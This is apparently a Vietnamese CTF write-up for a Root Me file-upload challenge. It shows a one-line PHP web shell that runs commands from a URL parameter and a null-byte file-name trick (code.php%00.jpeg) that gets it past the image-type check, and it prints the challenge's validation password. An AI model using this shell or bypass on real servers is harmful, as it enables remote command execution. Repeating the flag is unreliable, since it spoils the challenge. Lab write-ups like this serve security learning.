

← → C Not secure | challenge01.root-me.org/web-serveur/ch22/?action=upload

Root Me

Photo gallery v 0.04

| [upload](#) | [Hackin9](#) | [MISC](#) | [Phrack](#)

Upload your photo

No file chosen

NB : only GIF, JPEG or PNG are accepted

Giao diện trang web cho phép upload file kiểu ảnh như hình trên.

```
code.php.jpeg X
code.php.jpeg
1 <?php
2 |     system($_GET['command']);
3 ?>
```

Đoạn code trên cho phép exploit trang web thông qua parameter command trong URL. Quan trọng là phải tìm cách upload được file này lên server.

← → C Not secure | challenge01.root-me.org/web-serveur/ch22/?action=upload



Root Me

Photo gallery v 0.04

| [upload](#) | [Hackin9](#) | [MISC](#) | [Phrack](#)

File information :

- Upload: code.php.jpeg
- Type: image/jpeg
- Size: 0.0390625 kB
- Stored in: ./galerie/upload/05d2e7d0b9fe220e753c72d4807c1302/code.php.jpeg

Wrong file name !

Server kiểm tra và báo tên file không hợp lệ. Sau khi tìm kiểu về kiểu Null-byte thì ta có cách thêm như hình dưới. Khi server đọc tên file sẽ lưu thành `code.php`.

Photo gallery v 0.04

| [upload](#) | [Hackin9](#) | [MISC](#) | [Phrack](#)

Upload your photo

code.php%00.jpeg

NB : only GIF, JPEG or PNG are accepted

← → C A Not secure | challenge01.root-me.org/web-serveur/ch22/?action=upload



Root Me

Photo gallery v 0.04

| [upload](#) | [Hackin9](#) | [MISC](#) | [Phrack](#)

File information :

- Upload: code.php%00.jpeg
- Type: image/jpeg
- Size: 0.0390625 kB
- Stored in: [./galerie/upload/05d2e7d0b9fe220e753c72d4807c1302/code.php%00.jpeg](#)

File uploaded.

Kết quả như hình trên, server đã lưu file thành công.

← → C A Not secure | challenge01.root-me.org/web-serveur/ch22/galerie/upload/05d2e7d0b9fe220e753c72d4807c1302//code.php

Well done ! You can validate this challenge with the password : YPNchi2NmTwygr2dgCCF
This file is already deleted.

Chọn load file vừa up lên để nhận flag của challenge.